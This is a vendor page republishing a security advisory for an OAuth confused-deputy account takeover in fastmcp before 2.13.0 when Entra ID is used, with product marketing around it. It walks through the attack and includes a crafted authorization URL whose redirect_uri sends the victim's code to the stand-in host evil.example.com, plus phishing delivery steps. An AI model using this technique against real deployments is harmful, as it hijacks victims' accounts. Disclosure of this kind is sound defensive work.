GHSA-C2JP-C369-7PVX

GHSA-C2JP-C369-7PVX is a high-severity improper authentication vulnerability in fastmcp (pip), affecting versions < 2.13.0. It is fixed in 2.13.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

FastMCP Auth Integration Allows for Confused Deputy Account Takeover

FastMCP documentation covers the scenario where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.

For example, on a local MCP server, it may be hosted here:

http://localhost:8000/.well-known/oauth-protected-resource

And the JSON representation of the PRM document:

{
  "resource": "http://localhost:8000/mcp",
  "authorization_servers": [
    "http://localhost:8000/"
  ],
  "scopes_supported": [
    "User.Read",
    "email",
    "openid",
    "profile"
  ],
  "bearer_methods_supported": [
    "header"
  ]
}

Notice that the authorization_servers field contains the MCP server itself - it acts as an OAuth Client to the downstream authorization server (e.g., Entra ID) and as a Authorization Server (AS) to the MCP client.

The FastMCP server also hosts the AS metadata:

http://localhost:8000/.well-known/oauth-authorization-server

With the following content:

{
  "issuer": "http://localhost:8000/",
  "authorization_endpoint": "http://localhost:8000/authorize",
  "token_endpoint": "http://localhost:8000/token",
  "registration_endpoint": "http://localhost:8000/register",
  "scopes_supported": [
    "User.Read",
    "email",
    "openid",
    "profile"
  ],
  "response_types_supported": [
    "code"
  ],
  "grant_types_supported": [
    "authorization_code",
    "refresh_token"
  ],
  "token_endpoint_auth_methods_supported": [
    "client_secret_post"
  ],
  "code_challenge_methods_supported": [
    "S256"
  ]
}

All of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):

http://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp

When using the built-in FastMCP /authorize endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:

https://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp

[!NOTE]
In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.

Notice that the client ID and redirect URIs in the login.microsoftonline.com call are different than the initial /authorize call - that's because we're now switching to using the MCP server's static app registration instead of the DCR client details.

Completing the authorization flow here for the first time for a user would trigger the Entra ID consent flow:

This consent flow is only showed the first time the user needs to use this application. Once the consent is set, they will never be prompted for this unless revoked.

This is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.

With the user consented to the static client for Entra ID that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.

Now, an attacker comes in - in their own MCP client (i.e., they maintain one at https://evil.example.com) they start the authorization with the same remote MCP server and get to the point where the server produces their own authorization URI for this client ID:

http://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp

[!IMPORTANT]
Note that the redirect URI above points to the https://evil.example.com client.

At this point - they grab the URL and coerce the victim (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the static Entra ID client that the MCP server is using. The DCR-d registered client ID that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to https://evil.example.com.

The user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.

Details

See above - the outline covers the attack vector.

PoC

Standard documented sample that uses Entra ID:

from fastmcp import FastMCP
from fastmcp.server.auth.providers.azure import AzureProvider

# The AzureProvider handles Azure's token format and validation
auth_provider = AzureProvider(
    client_id="f527ed01-9725-45bd-8173-8d3a017ba02f",  # Your Azure App Client ID
    client_secret="#####~######_#######",                 # Your Azure App Client Secret
    tenant_id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED)
    base_url="http://localhost:8000",                   # Must match your App registration
    required_scopes=["User.Read", "email", "openid", "profile"],  # Microsoft Graph permissions
    # redirect_path="/auth/callback"                  # Default value, customize if needed
)

mcp = FastMCP(name="Azure Secured App", auth=auth_provider)

# Add a protected tool to test authentication
@mcp.tool
async def get_user_info() -> dict:
    """Returns information about the authenticated Azure user."""
    from fastmcp.server.dependencies import get_access_token
    
    token = get_access_token()
    # The AzureProvider stores user data in token claims
    return {
        "azure_id": token.claims.get("sub"),
        "email": token.claims.get("email"),
        "name": token.claims.get("name"),
        "job_title": token.claims.get("job_title"),
        "office_location": token.claims.get("office_location")
    }

Impact

Potential for server account compromise.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

Affected versions

fastmcp (< 2.13.0)

Security releases

fastmcp → 2.13.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade fastmcp to 2.13.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-C2JP-C369-7PVX? GHSA-C2JP-C369-7PVX is a high-severity improper authentication vulnerability in fastmcp (pip), affecting versions < 2.13.0. It is fixed in 2.13.0. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. Which versions of fastmcp are affected by GHSA-C2JP-C369-7PVX? fastmcp (pip) versions < 2.13.0 is affected.
  3. Is there a fix for GHSA-C2JP-C369-7PVX? Yes. GHSA-C2JP-C369-7PVX is fixed in 2.13.0. Upgrade to this version or later.
  4. Is GHSA-C2JP-C369-7PVX exploitable, and should I be worried? Whether GHSA-C2JP-C369-7PVX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-C2JP-C369-7PVX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-C2JP-C369-7PVX? Upgrade fastmcp to 2.13.0 or later.

Other vulnerabilities in fastmcp

Stop the waste.
Protect your environment with Kodem.